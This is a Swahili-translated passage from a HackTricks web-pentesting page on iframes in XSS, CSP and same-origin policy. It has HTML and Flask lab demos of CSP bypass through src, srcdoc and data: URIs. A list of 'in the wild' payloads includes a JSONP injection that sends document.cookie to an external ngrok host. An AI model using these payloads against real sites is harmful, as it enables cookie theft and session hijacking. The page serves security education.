9 KiB
Iframes katika XSS, CSP na SOP
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
- Je! Unafanya kazi katika kampuni ya usalama wa mtandao? Unataka kuona kampuni yako ikitangazwa kwenye HackTricks? au unataka kupata upatikanaji wa toleo jipya la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Pata swag rasmi ya PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au fuata kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa repo ya hacktricks na repo ya hacktricks-cloud.
Iframes katika XSS
Kuna njia 3 za kuonyesha maudhui ya ukurasa ulio na iframe:
- Kupitia
src
ikionyesha URL (URL inaweza kuwa ya asili tofauti au sawa) - Kupitia
src
ikionyesha maudhui kwa kutumia itifaki yadata:
- Kupitia
srcdoc
ikionyesha maudhui
Kupata Vipimo vya Mzazi na Mtoto
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
Ikiwa utapata html iliyopita kupitia seva ya http (kama python3 -m http.server
) utaona kwamba scripts zote zitatekelezwa (kwa kuwa hakuna CSP inayozuia hilo). Mzazi hataweza kupata upatikanaji wa secret
var ndani ya kifungu chochote na iframes if2 & if3 (ambazo zinafikiriwa kuwa tovuti moja) pekee ndizo zinaweza kupata upatikanaji wa siri kwenye dirisha la awali.
Tafadhali angalia jinsi if4 inavyochukuliwa kuwa na asili ya null
.
Iframes na CSP
{% hint style="info" %} Tafadhali, angalia jinsi katika kuzidi kwa ifuatayo, jibu kwa ukurasa ulio na iframe haina kichwa cha CSP kinachozuia utekelezaji wa JS. {% endhint %}
Thamani ya self
ya script-src
haitaruhusu utekelezaji wa msimbo wa JS ukitumia itifaki ya data:
au sifa ya srcdoc
.
Hata hivyo, hata thamani ya none
ya CSP itaruhusu utekelezaji wa iframes ambazo huweka URL (kamili au tu njia) kwenye sifa ya src
.
Hivyo ni rahisi kuzidi CSP ya ukurasa na:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Tafadhali angalia jinsi CSP ya awali inaruhusu utekelezaji wa skripti ya ndani.
Hata hivyo, tu skripti za if1
na if2
zitatekelezwa lakini if1
pekee itaweza kufikia siri ya mzazi.
Hivyo basi, ni rahisi kukiuka CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia fremu hata na script-src 'none'
. Hii inaweza pia kufanywa kwa kudhuru kituo cha JSONP cha tovuti ile ile.
Unaweza kufanya majaribio haya na hali ifuatayo ambapo kuki inaibiwa hata na script-src 'none'
. Fanya programu iende na ufikie kwa kutumia kivinjari chako:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Malipo Mengine Yaliyopatikana kwenye Mbuga
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Maudhui ndani ya iframe inaweza kuwekwa chini ya vizuizi zaidi kupitia matumizi ya sifa ya sandbox
. Kwa chaguo-msingi, sifa hii haitekelezwi, maana hakuna vizuizi vilivyowekwa.
Inapotumiwa, sifa ya sandbox
inaweka vizuizi kadhaa:
- Maudhui yanachukuliwa kama yanatoka kwenye chanzo kimoja.
- Jaribio lolote la kuwasilisha fomu linazuiliwa.
- Utekelezaji wa scripts unakatazwa.
- Upatikanaji wa APIs fulani unalemazwa.
- Inazuia viungo kutokana na kuingiliana na muktadha mwingine wa kuvinjari.
- Matumizi ya programu-jalizi kupitia
<embed>
,<object>
,<applet>
, au vitambulisho vinavyofanana haviruhusiwi. - Uvinjari wa muktadha wa kuvinjari wa kiwango cha juu cha maudhui na maudhui yenyewe unazuiliwa.
- Vipengele ambavyo vinachochea moja kwa moja, kama vile kucheza video au kufanya fomu zifanye kazi, vinazuiliwa.
Thamani ya sifa inaweza kuachwa tupu (sandbox=""
) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kama orodha ya thamani maalum zinazotenganishwa na nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes katika SOP
Angalia kurasa zifuatazo:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionyeshwa kwenye HackTricks? au ungependa kupata ufikiaji wa toleo jipya la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA USAJILI!
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Pata bidhaa rasmi za PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuata kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.